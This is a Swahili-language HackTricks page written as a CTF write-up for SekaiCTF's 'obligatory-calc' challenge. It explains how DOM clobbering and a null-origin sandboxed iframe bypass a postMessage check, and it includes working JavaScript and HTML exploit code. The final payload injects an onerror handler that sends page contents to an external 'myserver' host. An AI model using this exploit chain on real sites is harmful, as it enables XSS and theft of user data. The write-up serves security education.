mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
89 lines
6.5 KiB
Markdown
89 lines
6.5 KiB
Markdown
# Kuvuka SOP na Iframes - 2
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Iframes katika SOP-2
|
|
|
|
Katika [**ufumbuzi**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) kwa hii [**changamoto**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) anapendekeza njia sawa na sehemu iliyotangulia. Hebu tuangalie.
|
|
|
|
Katika changamoto hii, mshambuliaji anahitaji **kuvuka** hii:
|
|
```javascript
|
|
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
|
```
|
|
Ikiwa atafanya hivyo, anaweza kutuma **postmessage** na maudhui ya HTML ambayo yataandikwa kwenye ukurasa na **`innerHTML`** bila kusafishwa (**XSS**).
|
|
|
|
Njia ya kuzunguka **uchunguzi wa kwanza** ni kwa kufanya **`window.calc.contentWindow`** kuwa **`undefined`** na **`e.source`** kuwa **`null`**:
|
|
|
|
* **`window.calc.contentWindow`** ni kimsingi **`document.getElementById("calc")`**. Unaweza kuchafua **`document.getElementById`** na **`<img name=getElementById />`** (kumbuka kuwa API ya Sanitizer -[hapa](https://wicg.github.io/sanitizer-api/#dom-clobbering)- haijasanidiwa kulinda dhidi ya mashambulizi ya kuchafua DOM katika hali yake ya msingi).
|
|
* Kwa hivyo, unaweza kuchafua **`document.getElementById("calc")`** na **`<img name=getElementById /><div id=calc></div>`**. Kisha, **`window.calc`** itakuwa **`undefined`**.
|
|
* Sasa, tunahitaji **`e.source`** iwe **`undefined`** au **`null`** (kwa sababu `==` hutumiwa badala ya `===`, **`null == undefined`** ni **`True`**). Kupata hii ni "rahisi". Ikiwa unajenga **iframe** na **kutuma** **postMessage** kutoka kwake na mara moja **iondoe** iframe, **`e.origin`** itakuwa **`null`**. Angalia nambari ifuatayo
|
|
```javascript
|
|
let iframe = document.createElement('iframe');
|
|
document.body.appendChild(iframe);
|
|
window.target = window.open("http://localhost:8080/");
|
|
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
|
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
|
document.body.removeChild(iframe); //e.origin === null
|
|
```
|
|
Ili kudukua **uchunguzi wa pili** kuhusu ishara, tuma **`token`** na thamani ya `null` na ufanye thamani ya **`window.token`** kuwa **`undefined`**:
|
|
|
|
* Kutuma `token` katika postMessage na thamani ya `null` ni rahisi.
|
|
* **`window.token`** inaita kazi **`getCookie`** ambayo hutumia **`document.cookie`**. Tafadhali kumbuka kuwa ufikiaji wowote wa **`document.cookie`** katika kurasa za asili za **`null`** husababisha **kosa**. Hii itafanya **`window.token`** kuwa na thamani ya **`undefined`**.
|
|
|
|
Suluhisho la mwisho na [**@terjanq**](https://twitter.com/terjanq) ni [**ifuatayo**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
|
```html
|
|
<html>
|
|
<body>
|
|
<script>
|
|
// Abuse "expr" param to cause a HTML injection and
|
|
// clobber document.getElementById and make window.calc.contentWindow undefined
|
|
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
|
|
|
|
function start(){
|
|
var ifr = document.createElement('iframe');
|
|
// Create a sandboxed iframe, as sandboxed iframes will have origin null
|
|
// this null origin will document.cookie trigger an error and window.token will be undefined
|
|
ifr.sandbox = 'allow-scripts allow-popups';
|
|
ifr.srcdoc = `<script>(${hack})()<\/script>`
|
|
|
|
document.body.appendChild(ifr);
|
|
|
|
function hack(){
|
|
var win = open('https://obligatory-calc.ctf.sekai.team');
|
|
setTimeout(()=>{
|
|
parent.postMessage('remove', '*');
|
|
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
|
|
// token=null equals to undefined and e.source will be null so null == undefined
|
|
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
|
|
},1000);
|
|
}
|
|
|
|
// this removes the iframe so e.source becomes null in postMessage event.
|
|
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
|
|
}
|
|
setTimeout(start, 1000);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|